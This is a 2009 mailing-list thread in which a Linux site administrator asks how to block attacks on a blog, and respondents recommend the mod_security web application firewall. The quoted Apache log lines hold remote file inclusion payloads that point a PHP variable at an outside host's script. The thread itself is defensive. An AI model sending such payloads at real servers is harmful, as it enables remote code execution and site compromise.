> Although I go through my logs fairly often and update my scripts on an regular basis, I still get cracker attacks like the ones sampled > below: > > 222.122.6.62 - - [04/Aug/2009:08:09:52 -0700] "GET /blog/index.php/2008/06/02/os-2-warp-server-for-e-business-wseb-and?blog=4///?_SERVER[DOCUMENT_ROOT]=http://bruntil.com/cgi/id.txt?%0D? > HTTP/1.1" 400 567 "-" "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; > i686 Linux; 20020515)" > 222.122.6.62 - - [04/Aug/2009:08:11:18 -0700] "GET /blog/index.php/2008/06/02///?_SERVER[DOCUMENT_ROOT]=http://bruntil.com/cgi/id.txt?%0D? > HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; > rv:1.7.12) Gecko/20050915 Firefox/1.0.7" > > I would appreciate suggestions to block automatically the above. I am already using Fail2ban and some rules in IP tables. Notwithstanding those above manage to get through. > > Thanks in advance for any input. On Wed, Aug 5, 2009 at 12:14 PM, Daniel Carrillo<daniel.carrillo@xxxxxxxxx> wrote: [...] > If you are using Apache, the "authoritative" tool is mod_security, a > web application firewall. > With a simple set of rules you can drop this requests. > Hope this helps. > On Wed, Aug 5, 2009 at 12:17 PM, Marti, Rob<RJM002@xxxxxxxx> wrote: > http://www.modsecurity.org/ > Apache plugin that will stop most/all of these kinds of attacks. Test it before you enable it because it has > the potential to stop all kinds oftraffic :) > Rob Marti Well, noticing the issues that ESGLinux was experiencing with your mod_security advice, I was hoping there was something else. On the other hand, thanks for reiterating the advice --I guess there is no way around it :-) if I want to keep more secure site(s). Best Regards and thank you again. -- Jose R R http://www.metztli-it.com --------------------------------------------------------------------------------------------- IBM Lotus Symphony supported on GNU/Linux, Mac OS, and Windows. --------------------------------------------------------------------------------------------- Daylight Saving Time in USA & Canada starts: Sunday 08 March 2009 --------------------------------------------------------------------------------------------- -- redhat-list mailing list unsubscribe mailto:redhat-list-request@xxxxxxxxxx?subject=unsubscribe https://www.redhat.com/mailman/listinfo/redhat-list
